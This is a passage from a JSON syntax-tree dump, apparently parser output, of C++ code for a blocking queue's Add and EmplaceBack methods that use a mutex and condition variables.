{"row": 75, "column": 2}, "end_point": {"row": 87, "column": 3}}, {"id": 273, "type": "type_identifier", "text": "Status", "parent": 272, "children": [], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 8}}, {"id": 274, "type": "function_declarator", "text": "Add(const_reference ele) noexcept", "parent": 272, "children": [275, 276, 280], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 42}}, {"id": 275, "type": "identifier", "text": "Add", "parent": 274, "children": [], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 12}}, {"id": 276, "type": "parameter_list", "text": "(const_reference ele)", "parent": 274, "children": [277], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 33}}, {"id": 277, "type": "parameter_declaration", "text": "const_reference ele", "parent": 276, "children": [278, 279], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 32}}, {"id": 278, "type": "type_identifier", "text": "const_reference", "parent": 277, "children": [], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 28}}, {"id": 279, "type": "identifier", "text": "ele", "parent": 277, "children": [], "start_point": {"row": 75, "column": 29}, "end_point": {"row": 75, "column": 32}}, {"id": 280, "type": "identifier", "text": "noexcept", "parent": 274, "children": [], "start_point": {"row": 75, "column": 34}, "end_point": {"row": 75, "column": 42}}, {"id": 281, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 272, "children": [282, 283], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 45}}, {"id": 282, "type": "statement_identifier", "text": "std", "parent": 281, "children": [], "start_point": {"row": 76, "column": 4}, "end_point": {"row": 76, "column": 7}}, {"id": 283, "type": "ERROR", "text": "::unique_lock<std:", "parent": 281, "children": [284], "start_point": {"row": 76, "column": 7}, "end_point": {"row": 76, "column": 25}}, {"id": 284, "type": "binary_expression", "text": "unique_lock<std", "parent": 283, "children": [285, 286, 287], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 24}}, {"id": 285, "type": "identifier", "text": "unique_lock", "parent": 284, "children": [], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 20}}, {"id": 286, "type": "<", "text": "<", "parent": 284, "children": [], "start_point": {"row": 76, "column": 20}, "end_point": {"row": 76, "column": 21}}, {"id": 287, "type": "identifier", "text": "std", "parent": 284, "children": [], "start_point": {"row": 76, "column": 21}, "end_point": {"row": 76, "column": 24}}, {"id": 288, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 281, "children": [289, 290, 291], "start_point": {"row": 76, "column": 26}, "end_point": {"row": 76, "column": 44}}, {"id": 289, "type": "identifier", "text": "mutex", "parent": 288, "children": [], "start_point": {"row": 76, "column": 26}, "end_point": {"row": 76, "column": 31}}, {"id": 290, "type": ">", "text": ">", "parent": 288, "children": [], "start_point": {"row": 76, "column": 31}, "end_point": {"row": 76, "column": 32}}, {"id": 291, "type": "call_expression", "text": "_lock(mux_)", "parent": 288, "children": [292, 293], "start_point": {"row": 76, "column": 33}, "end_point": {"row": 76, "column": 44}}, {"id": 292, "type": "identifier", "text": "_lock", "parent": 291, "children": [], "start_point": {"row": 76, "column": 33}, "end_point": {"row": 76, "column": 38}}, {"id": 293, "type": "argument_list", "text": "(mux_)", "parent": 291, "children": [294], "start_point": {"row": 76, "column": 38}, "end_point": {"row": 76, "column": 44}}, {"id": 294, "type": "identifier", "text": "mux_", "parent": 293, "children": [], "start_point": {"row": 76, "column": 39}, "end_point": {"row": 76, "column": 43}}, {"id": 295, "type": "declaration", "text": "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });", "parent": 272, "children": [296, 297], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 91}}, {"id": 296, "type": "type_identifier", "text": "Status", "parent": 295, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 10}}, {"id": 297, "type": "init_declarator", "text": "rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 295, "children": [298, 299, 300], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 90}}, {"id": 298, "type": "identifier", "text": "rc", "parent": 297, "children": [], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 13}}, {"id": 299, "type": "=", "text": "=", "parent": 297, "children": [], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 15}}, {"id": 300, "type": "call_expression", "text": "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 297, "children": [301, 304], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 90}}, {"id": 301, "type": "field_expression", "text": "full_cv_.Wait", "parent": 300, "children": [302, 303], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 29}}, {"id": 302, "type": "identifier", "text": "full_cv_", "parent": 301, "children": [], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 24}}, {"id": 303, "type": "field_identifier", "text": "Wait", "parent": 301, "children": [], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 29}}, {"id": 304, "type": "argument_list", "text": "(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 300, "children": [305], "start_point": {"row": 78, "column": 29}, "end_point": {"row": 78, "column": 90}}, {"id": 305, "type": "ERROR", "text": "&_lock, [this]() -> bool", "parent": 304, "children": [306], "start_point": {"row": 78, "column": 30}, "end_point": {"row": 78, "column": 54}}, {"id": 306, "type": "field_expression", "text": "&_lock, [this]() -> bool", "parent": 305, "children": [307, 313], "start_point": {"row": 78, "column": 30}, "end_point": {"row": 78, "column": 54}}, {"id": 307, "type": "call_expression", "text": "&_lock, [this]()", "parent": 306, "children": [308, 312], "start_point": {"row": 78, "column": 30}, "end_point": {"row": 78, "column": 46}}, {"id": 308, "type": "subscript_expression", "text": "&_lock, [this]", "parent": 307, "children": [309, 311], "start_point": {"row": 78, "column": 30}, "end_point": {"row": 78, "column": 44}}, {"id": 309, "type": "pointer_expression", "text": "&_lock", "parent": 308, "children": [310], "start_point": {"row": 78, "column": 30}, "end_point": {"row": 78, "column": 36}}, {"id": 310, "type": "identifier", "text": "_lock", "parent": 309, "children": [], "start_point": {"row": 78, "column": 31}, "end_point": {"row": 78, "column": 36}}, {"id": 311, "type": "identifier", "text": "this", "parent": 308, "children": [], "start_point": {"row": 78, "column": 39}, "end_point": {"row": 78, "column": 43}}, {"id": 312, "type": "argument_list", "text": "()", "parent": 307, "children": [], "start_point": {"row": 78, "column": 44}, "end_point": {"row": 78, "column": 46}}, {"id": 313, "type": "field_identifier", "text": "bool", "parent": 306, "children": [], "start_point": {"row": 78, "column": 50}, "end_point": {"row": 78, "column": 54}}, {"id": 314, "type": "return_statement", "text": "return (size() != capacity());", "parent": 304, "children": [315], "start_point": {"row": 78, "column": 57}, "end_point": {"row": 78, "column": 87}}, {"id": 315, "type": "parenthesized_expression", "text": "(size() != capacity())", "parent": 314, "children": [316], "start_point": {"row": 78, "column": 64}, "end_point": {"row": 78, "column": 86}}, {"id": 316, "type": "binary_expression", "text": "size() != capacity()", "parent": 315, "children": [317, 320, 321], "start_point": {"row": 78, "column": 65}, "end_point": {"row": 78, "column": 85}}, {"id": 317, "type": "call_expression", "text": "size()", "parent": 316, "children": [318, 319], "start_point": {"row": 78, "column": 65}, "end_point": {"row": 78, "column": 71}}, {"id": 318, "type": "identifier", "text": "size", "parent": 317, "children": [], "start_point": {"row": 78, "column": 65}, "end_point": {"row": 78, "column": 69}}, {"id": 319, "type": "argument_list", "text": "()", "parent": 317, "children": [], "start_point": {"row": 78, "column": 69}, "end_point": {"row": 78, "column": 71}}, {"id": 320, "type": "!=", "text": "!=", "parent": 316, "children": [], "start_point": {"row": 78, "column": 72}, "end_point": {"row": 78, "column": 74}}, {"id": 321, "type": "call_expression", "text": "capacity()", "parent": 316, "children": [322, 323], "start_point": {"row": 78, "column": 75}, "end_point": {"row": 78, "column": 85}}, {"id": 322, "type": "identifier", "text": "capacity", "parent": 321, "children": [], "start_point": {"row": 78, "column": 75}, "end_point": {"row": 78, "column": 83}}, {"id": 323, "type": "argument_list", "text": "()", "parent": 321, "children": [], "start_point": {"row": 78, "column": 83}, "end_point": {"row": 78, "column": 85}}, {"id": 324, "type": "if_statement", "text": "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }", "parent": 272, "children": [325, 348], "start_point": {"row": 79, "column": 4}, "end_point": {"row": 85, "column": 5}}, {"id": 325, "type": "parenthesized_expression", "text": "(rc.IsOk())", "parent": 324, "children": [326], "start_point": {"row": 79, "column": 7}, "end_point": {"row": 79, "column": 18}}, {"id": 326, "type": "call_expression", "text": "rc.IsOk()", "parent": 325, "children": [327, 330], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 17}}, {"id": 327, "type": "field_expression", "text": "rc.IsOk", "parent": 326, "children": [328, 329], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 15}}, {"id": 328, "type": "identifier", "text": "rc", "parent": 327, "children": [], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 10}}, {"id": 329, "type": "field_identifier", "text": "IsOk", "parent": 327, "children": [], "start_point": {"row": 79, "column": 11}, "end_point": {"row": 79, "column": 15}}, {"id": 330, "type": "argument_list", "text": "()", "parent": 326, "children": [], "start_point": {"row": 79, "column": 15}, "end_point": {"row": 79, "column": 17}}, {"id": 331, "type": "call_expression", "text": "RETURN_IF_NOT_OK(AddWhileHoldingLock(ele))", "parent": 324, "children": [332, 333], "start_point": {"row": 80, "column": 6}, "end_point": {"row": 80, "column": 48}}, {"id": 332, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 331, "children": [], "start_point": {"row": 80, "column": 6}, "end_point": {"row": 80, "column": 22}}, {"id": 333, "type": "argument_list", "text": "(AddWhileHoldingLock(ele))", "parent": 331, "children": [334], "start_point": {"row": 80, "column": 22}, "end_point": {"row": 80, "column": 48}}, {"id": 334, "type": "call_expression", "text": "AddWhileHoldingLock(ele)", "parent": 333, "children": [335, 336], "start_point": {"row": 80, "column": 23}, "end_point": {"row": 80, "column": 47}}, {"id": 335, "type": "identifier", "text": "AddWhileHoldingLock", "parent": 334, "children": [], "start_point": {"row": 80, "column": 23}, "end_point": {"row": 80, "column": 42}}, {"id": 336, "type": "argument_list", "text": "(ele)", "parent": 334, "children": [337], "start_point": {"row": 80, "column": 42}, "end_point": {"row": 80, "column": 47}}, {"id": 337, "type": "identifier", "text": "ele", "parent": 336, "children": [], "start_point": {"row": 80, "column": 43}, "end_point": {"row": 80, "column": 46}}, {"id": 338, "type": "call_expression", "text": "empty_cv_.NotifyAll()", "parent": 324, "children": [339, 342], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 27}}, {"id": 339, "type": "field_expression", "text": "empty_cv_.NotifyAll", "parent": 338, "children": [340, 341], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 25}}, {"id": 340, "type": "identifier", "text": "empty_cv_", "parent": 339, "children": [], "start_point": {"row": 81, "column": 6}, "end_point": {"row": 81, "column": 15}}, {"id": 341, "type": "field_identifier", "text": "NotifyAll", "parent": 339, "children": [], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 25}}, {"id": 342, "type": "argument_list", "text": "()", "parent": 338, "children": [], "start_point": {"row": 81, "column": 25}, "end_point": {"row": 81, "column": 27}}, {"id": 343, "type": "call_expression", "text": "_lock.unlock()", "parent": 324, "children": [344, 347], "start_point": {"row": 82, "column": 6}, "end_point": {"row": 82, "column": 20}}, {"id": 344, "type": "field_expression", "text": "_lock.unlock", "parent": 343, "children": [345, 346], "start_point": {"row": 82, "column": 6}, "end_point": {"row": 82, "column": 18}}, {"id": 345, "type": "identifier", "text": "_lock", "parent": 344, "children": [], "start_point": {"row": 82, "column": 6}, "end_point": {"row": 82, "column": 11}}, {"id": 346, "type": "field_identifier", "text": "unlock", "parent": 344, "children": [], "start_point": {"row": 82, "column": 12}, "end_point": {"row": 82, "column": 18}}, {"id": 347, "type": "argument_list", "text": "()", "parent": 343, "children": [], "start_point": {"row": 82, "column": 18}, "end_point": {"row": 82, "column": 20}}, {"id": 348, "type": "else_clause", "text": "else {\n empty_cv_.Interrupt();\n }", "parent": 324, "children": [], "start_point": {"row": 83, "column": 6}, "end_point": {"row": 85, "column": 5}}, {"id": 349, "type": "call_expression", "text": "empty_cv_.Interrupt()", "parent": 348, "children": [350, 353], "start_point": {"row": 84, "column": 6}, "end_point": {"row": 84, "column": 27}}, {"id": 350, "type": "field_expression", "text": "empty_cv_.Interrupt", "parent": 349, "children": [351, 352], "start_point": {"row": 84, "column": 6}, "end_point": {"row": 84, "column": 25}}, {"id": 351, "type": "identifier", "text": "empty_cv_", "parent": 350, "children": [], "start_point": {"row": 84, "column": 6}, "end_point": {"row": 84, "column": 15}}, {"id": 352, "type": "field_identifier", "text": "Interrupt", "parent": 350, "children": [], "start_point": {"row": 84, "column": 16}, "end_point": {"row": 84, "column": 25}}, {"id": 353, "type": "argument_list", "text": "()", "parent": 349, "children": [], "start_point": {"row": 84, "column": 25}, "end_point": {"row": 84, "column": 27}}, {"id": 354, "type": "return_statement", "text": "return rc;", "parent": 272, "children": [355], "start_point": {"row": 86, "column": 4}, "end_point": {"row": 86, "column": 14}}, {"id": 355, "type": "identifier", "text": "rc", "parent": 354, "children": [], "start_point": {"row": 86, "column": 11}, "end_point": {"row": 86, "column": 13}}, {"id": 356, "type": "function_definition", "text": "Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }", "parent": 51, "children": [357, 358], "start_point": {"row": 89, "column": 2}, "end_point": {"row": 101, "column": 3}}, {"id": 357, "type": "type_identifier", "text": "Status", "parent": 356, "children": [], "start_point": {"row": 89, "column": 2}, "end_point": {"row": 89, "column": 8}}, {"id": 358, "type": "function_declarator", "text": "Add(T &&ele) noexcept", "parent": 356, "children": [359, 360, 366], "start_point": {"row": 89, "column": 9}, "end_point": {"row": 89, "column": 30}}, {"id": 359, "type": "identifier", "text": "Add", "parent": 358, "children": [], "start_point": {"row": 89, "column": 9}, "end_point": {"row": 89, "column": 12}}, {"id": 360, "type": "parameter_list", "text": "(T &&ele)", "parent": 358, "children": [361], "start_point": {"row": 89, "column": 12}, "end_point": {"row": 89, "column": 21}}, {"id": 361, "type": "parameter_declaration", "text": "T &&ele", "parent": 360, "children": [362, 363, 365], "start_point": {"row": 89, "column": 13}, "end_point": {"row": 89, "column": 20}}, {"id": 362, "type": "type_identifier", "text": "T", "parent": 361, "children": [], "start_point": {"row": 89, "column": 13}, "end_point": {"row": 89, "column": 14}}, {"id": 363, "type": "ERROR", "text": "&&", "parent": 361, "children": [364], "start_point": {"row": 89, "column": 15}, "end_point": {"row": 89, "column": 17}}, {"id": 364, "type": "&&", "text": "&&", "parent": 363, "children": [], "start_point": {"row": 89, "column": 15}, "end_point": {"row": 89, "column": 17}}, {"id": 365, "type": "identifier", "text": "ele", "parent": 361, "children": [], "start_point": {"row": 89, "column": 17}, "end_point": {"row": 89, "column": 20}}, {"id": 366, "type": "identifier", "text": "noexcept", "parent": 358, "children": [], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 30}}, {"id": 367, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 356, "children": [368, 369], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 45}}, {"id": 368, "type": "statement_identifier", "text": "std", "parent": 367, "children": [], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 7}}, {"id": 369, "type": "ERROR", "text": "::unique_lock<std:", "parent": 367, "children": [370], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 25}}, {"id": 370, "type": "binary_expression", "text": "unique_lock<std", "parent": 369, "children": [371, 372, 373], "start_point": {"row": 90, "column": 9}, "end_point": {"row": 90, "column": 24}}, {"id": 371, "type": "identifier", "text": "unique_lock", "parent": 370, "children": [], "start_point": {"row": 90, "column": 9}, "end_point": {"row": 90, "column": 20}}, {"id": 372, "type": "<", "text": "<", "parent": 370, "children": [], "start_point": {"row": 90, "column": 20}, "end_point": {"row": 90, "column": 21}}, {"id": 373, "type": "identifier", "text": "std", "parent": 370, "children": [], "start_point": {"row": 90, "column": 21}, "end_point": {"row": 90, "column": 24}}, {"id": 374, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 367, "children": [375, 376, 377], "start_point": {"row": 90, "column": 26}, "end_point": {"row": 90, "column": 44}}, {"id": 375, "type": "identifier", "text": "mutex", "parent": 374, "children": [], "start_point": {"row": 90, "column": 26}, "end_point": {"row": 90, "column": 31}}, {"id": 376, "type": ">", "text": ">", "parent": 374, "children": [], "start_point": {"row": 90, "column": 31}, "end_point": {"row": 90, "column": 32}}, {"id": 377, "type": "call_expression", "text": "_lock(mux_)", "parent": 374, "children": [378, 379], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 44}}, {"id": 378, "type": "identifier", "text": "_lock", "parent": 377, "children": [], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 38}}, {"id": 379, "type": "argument_list", "text": "(mux_)", "parent": 377, "children": [380], "start_point": {"row": 90, "column": 38}, "end_point": {"row": 90, "column": 44}}, {"id": 380, "type": "identifier", "text": "mux_", "parent": 379, "children": [], "start_point": {"row": 90, "column": 39}, "end_point": {"row": 90, "column": 43}}, {"id": 381, "type": "declaration", "text": "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });", "parent": 356, "children": [382, 383], "start_point": {"row": 92, "column": 4}, "end_point": {"row": 92, "column": 91}}, {"id": 382, "type": "type_identifier", "text": "Status", "parent": 381, "children": [], "start_point": {"row": 92, "column": 4}, "end_point": {"row": 92, "column": 10}}, {"id": 383, "type": "init_declarator", "text": "rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 381, "children": [384, 385, 386], "start_point": {"row": 92, "column": 11}, "end_point": {"row": 92, "column": 90}}, {"id": 384, "type": "identifier", "text": "rc", "parent": 383, "children": [], "start_point": {"row": 92, "column": 11}, "end_point": {"row": 92, "column": 13}}, {"id": 385, "type": "=", "text": "=", "parent": 383, "children": [], "start_point": {"row": 92, "column": 14}, "end_point": {"row": 92, "column": 15}}, {"id": 386, "type": "call_expression", "text": "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 383, "children": [387, 390], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 90}}, {"id": 387, "type": "field_expression", "text": "full_cv_.Wait", "parent": 386, "children": [388, 389], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 29}}, {"id": 388, "type": "identifier", "text": "full_cv_", "parent": 387, "children": [], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 24}}, {"id": 389, "type": "field_identifier", "text": "Wait", "parent": 387, "children": [], "start_point": {"row": 92, "column": 25}, "end_point": {"row": 92, "column": 29}}, {"id": 390, "type": "argument_list", "text": "(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 386, "children": [391], "start_point": {"row": 92, "column": 29}, "end_point": {"row": 92, "column": 90}}, {"id": 391, "type": "ERROR", "text": "&_lock, [this]() -> bool", "parent": 390, "children": [392], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 54}}, {"id": 392, "type": "field_expression", "text": "&_lock, [this]() -> bool", "parent": 391, "children": [393, 399], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 54}}, {"id": 393, "type": "call_expression", "text": "&_lock, [this]()", "parent": 392, "children": [394, 398], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 46}}, {"id": 394, "type": "subscript_expression", "text": "&_lock, [this]", "parent": 393, "children": [395, 397], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 44}}, {"id": 395, "type": "pointer_expression", "text": "&_lock", "parent": 394, "children": [396], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 36}}, {"id": 396, "type": "identifier", "text": "_lock", "parent": 395, "children": [], "start_point": {"row": 92, "column": 31}, "end_point": {"row": 92, "column": 36}}, {"id": 397, "type": "identifier", "text": "this", "parent": 394, "children": [], "start_point": {"row": 92, "column": 39}, "end_point": {"row": 92, "column": 43}}, {"id": 398, "type": "argument_list", "text": "()", "parent": 393, "children": [], "start_point": {"row": 92, "column": 44}, "end_point": {"row": 92, "column": 46}}, {"id": 399, "type": "field_identifier", "text": "bool", "parent": 392, "children": [], "start_point": {"row": 92, "column": 50}, "end_point": {"row": 92, "column": 54}}, {"id": 400, "type": "return_statement", "text": "return (size() != capacity());", "parent": 390, "children": [401], "start_point": {"row": 92, "column": 57}, "end_point": {"row": 92, "column": 87}}, {"id": 401, "type": "parenthesized_expression", "text": "(size() != capacity())", "parent": 400, "children": [402], "start_point": {"row": 92, "column": 64}, "end_point": {"row": 92, "column": 86}}, {"id": 402, "type": "binary_expression", "text": "size() != capacity()", "parent": 401, "children": [403, 406, 407], "start_point": {"row": 92, "column": 65}, "end_point": {"row": 92, "column": 85}}, {"id": 403, "type": "call_expression", "text": "size()", "parent": 402, "children": [404, 405], "start_point": {"row": 92, "column": 65}, "end_point": {"row": 92, "column": 71}}, {"id": 404, "type": "identifier", "text": "size", "parent": 403, "children": [], "start_point": {"row": 92, "column": 65}, "end_point": {"row": 92, "column": 69}}, {"id": 405, "type": "argument_list", "text": "()", "parent": 403, "children": [], "start_point": {"row": 92, "column": 69}, "end_point": {"row": 92, "column": 71}}, {"id": 406, "type": "!=", "text": "!=", "parent": 402, "children": [], "start_point": {"row": 92, "column": 72}, "end_point": {"row": 92, "column": 74}}, {"id": 407, "type": "call_expression", "text": "capacity()", "parent": 402, "children": [408, 409], "start_point": {"row": 92, "column": 75}, "end_point": {"row": 92, "column": 85}}, {"id": 408, "type": "identifier", "text": "capacity", "parent": 407, "children": [], "start_point": {"row": 92, "column": 75}, "end_point": {"row": 92, "column": 83}}, {"id": 409, "type": "argument_list", "text": "()", "parent": 407, "children": [], "start_point": {"row": 92, "column": 83}, "end_point": {"row": 92, "column": 85}}, {"id": 410, "type": "if_statement", "text": "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }", "parent": 356, "children": [411, 442], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 99, "column": 5}}, {"id": 411, "type": "parenthesized_expression", "text": "(rc.IsOk())", "parent": 410, "children": [412], "start_point": {"row": 93, "column": 7}, "end_point": {"row": 93, "column": 18}}, {"id": 412, "type": "call_expression", "text": "rc.IsOk()", "parent": 411, "children": [413, 416], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 17}}, {"id": 413, "type": "field_expression", "text": "rc.IsOk", "parent": 412, "children": [414, 415], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 15}}, {"id": 414, "type": "identifier", "text": "rc", "parent": 413, "children": [], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 10}}, {"id": 415, "type": "field_identifier", "text": "IsOk", "parent": 413, "children": [], "start_point": {"row": 93, "column": 11}, "end_point": {"row": 93, "column": 15}}, {"id": 416, "type": "argument_list", "text": "()", "parent": 412, "children": [], "start_point": {"row": 93, "column": 15}, "end_point": {"row": 93, "column": 17}}, {"id": 417, "type": "binary_expression", "text": "RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)", "parent": 410, "children": [418, 428, 429], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 63}}, {"id": 418, "type": "binary_expression", "text": "RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T", "parent": 417, "children": [419, 420, 426, 427], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 57}}, {"id": 419, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 418, "children": [], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 22}}, {"id": 420, "type": "ERROR", "text": "(AddWhileHoldingLock(std::forward", "parent": 418, "children": [421, 422, 425], "start_point": {"row": 94, "column": 22}, "end_point": {"row": 94, "column": 55}}, {"id": 421, "type": "identifier", "text": "AddWhileHoldingLock", "parent": 420, "children": [], "start_point": {"row": 94, "column": 23}, "end_point": {"row": 94, "column": 42}}, {"id": 422, "type": "ERROR", "text": "std::", "parent": 420, "children": [423], "start_point": {"row": 94, "column": 43}, "end_point": {"row": 94, "column": 48}}, {"id": 423, "type": "type_descriptor", "text": "std", "parent": 422, "children": [424], "start_point": {"row": 94, "column": 43}, "end_point": {"row": 94, "column": 46}}, {"id": 424, "type": "type_identifier", "text": "std", "parent": 423, "children": [], "start_point": {"row": 94, "column": 43}, "end_point": {"row": 94, "column": 46}}, {"id": 425, "type": "identifier", "text": "forward", "parent": 420, "children": [], "start_point": {"row": 94, "column": 48}, "end_point": {"row": 94, "column": 55}}, {"id": 426, "type": "<", "text": "<", "parent": 418, "children": [], "start_point": {"row": 94, "column": 55}, "end_point": {"row": 94, "column": 56}}, {"id": 427, "type": "identifier", "text": "T", "parent": 418, "children": [], "start_point": {"row": 94, "column": 56}, "end_point": {"row": 94, "column": 57}}, {"id": 428, "type": ">", "text": ">", "parent": 417, "children": [], "start_point": {"row": 94, "column": 57}, "end_point": {"row": 94, "column": 58}}, {"id": 429, "type": "parenthesized_expression", "text": "(ele)", "parent": 417, "children": [430], "start_point": {"row": 94, "column": 58}, "end_point": {"row": 94, "column": 63}}, {"id": 430, "type": "identifier", "text": "ele", "parent": 429, "children": [], "start_point": {"row": 94, "column": 59}, "end_point": {"row": 94, "column": 62}}, {"id": 431, "type": "ERROR", "text": "))", "parent": 410, "children": [], "start_point": {"row": 94, "column": 63}, "end_point": {"row": 94, "column": 65}}, {"id": 432, "type": "call_expression", "text": "empty_cv_.NotifyAll()", "parent": 410, "children": [433, 436], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 27}}, {"id": 433, "type": "field_expression", "text": "empty_cv_.NotifyAll", "parent": 432, "children": [434, 435], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 25}}, {"id": 434, "type": "identifier", "text": "empty_cv_", "parent": 433, "children": [], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 15}}, {"id": 435, "type": "field_identifier", "text": "NotifyAll", "parent": 433, "children": [], "start_point": {"row": 95, "column": 16}, "end_point": {"row": 95, "column": 25}}, {"id": 436, "type": "argument_list", "text": "()", "parent": 432, "children": [], "start_point": {"row": 95, "column": 25}, "end_point": {"row": 95, "column": 27}}, {"id": 437, "type": "call_expression", "text": "_lock.unlock()", "parent": 410, "children": [438, 441], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 20}}, {"id": 438, "type": "field_expression", "text": "_lock.unlock", "parent": 437, "children": [439, 440], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 18}}, {"id": 439, "type": "identifier", "text": "_lock", "parent": 438, "children": [], "start_point": {"row": 96, "column": 6}, "end_point": {"row": 96, "column": 11}}, {"id": 440, "type": "field_identifier", "text": "unlock", "parent": 438, "children": [], "start_point": {"row": 96, "column": 12}, "end_point": {"row": 96, "column": 18}}, {"id": 441, "type": "argument_list", "text": "()", "parent": 437, "children": [], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 20}}, {"id": 442, "type": "else_clause", "text": "else {\n empty_cv_.Interrupt();\n }", "parent": 410, "children": [], "start_point": {"row": 97, "column": 6}, "end_point": {"row": 99, "column": 5}}, {"id": 443, "type": "call_expression", "text": "empty_cv_.Interrupt()", "parent": 442, "children": [444, 447], "start_point": {"row": 98, "column": 6}, "end_point": {"row": 98, "column": 27}}, {"id": 444, "type": "field_expression", "text": "empty_cv_.Interrupt", "parent": 443, "children": [445, 446], "start_point": {"row": 98, "column": 6}, "end_point": {"row": 98, "column": 25}}, {"id": 445, "type": "identifier", "text": "empty_cv_", "parent": 444, "children": [], "start_point": {"row": 98, "column": 6}, "end_point": {"row": 98, "column": 15}}, {"id": 446, "type": "field_identifier", "text": "Interrupt", "parent": 444, "children": [], "start_point": {"row": 98, "column": 16}, "end_point": {"row": 98, "column": 25}}, {"id": 447, "type": "argument_list", "text": "()", "parent": 443, "children": [], "start_point": {"row": 98, "column": 25}, "end_point": {"row": 98, "column": 27}}, {"id": 448, "type": "return_statement", "text": "return rc;", "parent": 356, "children": [449], "start_point": {"row": 100, "column": 4}, "end_point": {"row": 100, "column": 14}}, {"id": 449, "type": "identifier", "text": "rc", "parent": 448, "children": [], "start_point": {"row": 100, "column": 11}, "end_point": {"row": 100, "column": 13}}, {"id": 450, "type": "ERROR", "text": "template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept", "parent": 51, "children": [451, 468], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 104, "column": 44}}, {"id": 451, "type": "binary_expression", "text": "template <typename... Ts>\n Status EmplaceBack(Ts &&... args)", "parent": 450, "children": [452, 456, 458, 459, 461], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 104, "column": 35}}, {"id": 452, "type": "binary_expression", "text": "template 